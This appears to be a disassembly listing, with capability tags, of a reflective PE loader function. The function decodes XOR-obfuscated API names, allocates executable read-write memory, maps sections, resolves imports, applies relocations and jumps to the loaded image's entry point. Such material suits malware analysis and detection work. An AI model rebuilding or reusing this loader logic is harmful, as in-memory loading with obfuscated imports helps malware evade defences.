Function at 0x140005e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rax, qword [0x140040010]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbp, rcx
test rcx, rcx
je 0x1400062e4
mov r15d, 0x5a4d
cmp word [rcx], r15w
jne 0x1400062e4
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400062e4
cmp dword [rax + rcx], 0x4550
lea r13, [rax + rcx]
mov qword [rsp + 0x38], r13
jne 0x1400062e4
mov r14, qword [r13 + 0x30]
lea rbx, [rcx + 0xb0]
add rbx, rax
mov qword [rsp + 0x30], r14
movabs rax, 0x925dccbd4c89fa9b
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
xor r12d, r12d
movabs rax, 0x7151e144a61b4b8a
movabs rsi, 0xfe39e2d120ed8ef5
cmp dword [rbx], r12d
movabs rdi, 0x7151e144a61b4be6
mov qword [rsp + 0x28], rax
movdqa xmm0, xmmword [rsp + 0x20]
cmove rbx, r12
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
pxor xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movabs rdx, 0x1e8150828a209218
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rdx
movabs rcx, 0x52ae2e2f80be5227
mov qword [rsp + 0x70], rcx
movabs rcx, 0xa84983bc4eb8fabb
mov qword [rsp + 0x40], rcx
movabs rcx, 0x1234b222e96c2e8f
mov qword [rsp + 0x48], rcx
movabs rcx, 0x52ae2e2feed13b53
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rcx
mov rcx, rax
movdqa xmm1, xmmword [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x40]
pxor xmm1, xmmword [rsp + 0x70]
mov qword [rsp + 0x68], rdi
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [r13 + 0x30]
lea rcx, [r12 - 1]
call rax
mov edx, dword [r13 + 0x50]
lea r9d, [r12 + 0x40]
mov r8d, 0x3000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000603b
test rbx, rbx
je 0x1400062e4
mov edx, dword [r13 + 0x50]
lea r9d, [r12 + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1400062e4
mov r8d, dword [r13 + 0x54]
mov rdx, rbp
mov rcx, rsi
mov qword [r13 + 0x30], rsi
call fcn.14000e160
mov edi, r12d
cmp r12w, word [r13 + 6]
jae 0x140006083
lea rbx, [r13 + 0x11c]
nop
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
add rdx, rbp
mov r8d, dword [rbx - 4]
add rcx, rsi
call fcn.14000e160
movzx eax, word [r13 + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x140006060
test rsi, rsi
je 0x1400061c4
cmp word [rsi], r15w
jne 0x1400061c4
movsxd rax, dword [rsi + 0x3c]
cmp eax, 0x400
jg 0x1400061c4
cmp dword [rax + rsi], 0x4550
jne 0x1400061c4
mov ecx, dword [rax + rsi + 0x90]
test ecx, ecx
je 0x1400061c4
mov edx, dword [rax + rsi + 0x94]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x40], r12
test rdx, rdx
je 0x1400061c4
lea rbp, [rsi + 0x10]
mov r8d, 0x80000000
add rbp, rcx
mov edx, dword [rbp - 0x10]
test edx, edx
jne 0x1400060f8
cmp dword [rbp], edx
je 0x1400061b1
mov ecx, dword [rbp]
mov r15d, dword [rbp - 4]
mov r12d, ecx
add r15, rsi
test edx, edx
lea r13, [rcx + rsi]
cmovne r12, rdx
mov r14, r13
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rbp - 0x10]
mov rbx, r12
sub rbx, r13
add rbx, r14
mov ecx, dword [rax + rsi]
test r8, rcx
je 0x140006155
movzx edi, word [rbx + rsi]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov edx, edi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [r14], rax
mov r8d, 0x80000000
mov rcx, qword [r14]
test rcx, rcx
je 0x140006194
mov rax, qword [rbx + rsi]
cmp rcx, rax
jne 0x140006188
test r8, rax
jne 0x1400061b1
mov rcx, r15
lea rbx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbx + rsi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [r14], rax
add r14, 8
mov r8d, 0x80000000
jmp 0x140006120
mov rax, qword [rsp + 0x40]
add rbp, 0x14
add rax, 0x14
mov qword [rsp + 0x40], rax
cmp rax, qword [rsp + 0x20]
jb 0x1400060e8
mov r14, qword [rsp + 0x30]
xor r12d, r12d
mov r13, qword [rsp + 0x38]
mov r15d, 0x5a4d
cmp rsi, r14
je 0x140006295
mov edi, dword [r13 + 0x50]
test rsi, rsi
je 0x140006295
cmp word [rsi], r15w
jne 0x140006295
movsxd rax, dword [rsi + 0x3c]
cmp eax, 0x400
jg 0x140006295
cmp dword [rax + rsi], 0x4550
jne 0x140006295
mov ecx, dword [rax + rsi + 0xb0]
test ecx, ecx
je 0x140006295
mov ebp, dword [rax + rsi + 0xb4]
mov r15d, ecx
mov rbx, r12
test rbp, rbp
je 0x140006295
lea r10, [rbx + r15]
add r10, rsi
mov eax, dword [r10]
test eax, eax
je 0x140006295
mov ecx, dword [r10 + 4]
test ecx, ecx
je 0x140006295
lea r9, [rcx - 8]
mov r11d, eax
shr r9, 1
lea r8, [r10 + 8]
mov rdx, r12
je 0x140006289
nop word [rax + rax]
movzx ecx, word [r8]
mov eax, ecx
and ecx, 0xfff
add rcx, r11
shr rax, 0xc
test rax, rax
je 0x140006289
cmp rax, 3
jne 0x140006295
cmp rcx, rdi
jae 0x140006295
mov rax, rsi
add r8, 2
sub rax, r14
inc rdx
add qword [rcx + rsi], rax
cmp rdx, r9
jb 0x140006250
mov eax, dword [r10 + 4]
add rbx, rax
cmp rbx, rbp
jb 0x140006221
mov ebx, dword [r13 + 0x28]
mov eax, 0x5a4d
add rbx, rsi
cmp word [rsi], ax
jne 0x1400062e0
movsxd rcx, dword [rsi + 0x3c]
add rcx, rsi
cmp dword [rcx], 0x4550
jne 0x1400062e0
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400062e0
mov eax, 0xaaaaaaab
mov r8, rsi
mul dword [rcx + 0xa4]
mov ecx, dword [rcx + 0xa0]
shr edx, 3
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
call rbx
jmp 0x1400062e6
xor al, al
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000a750
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret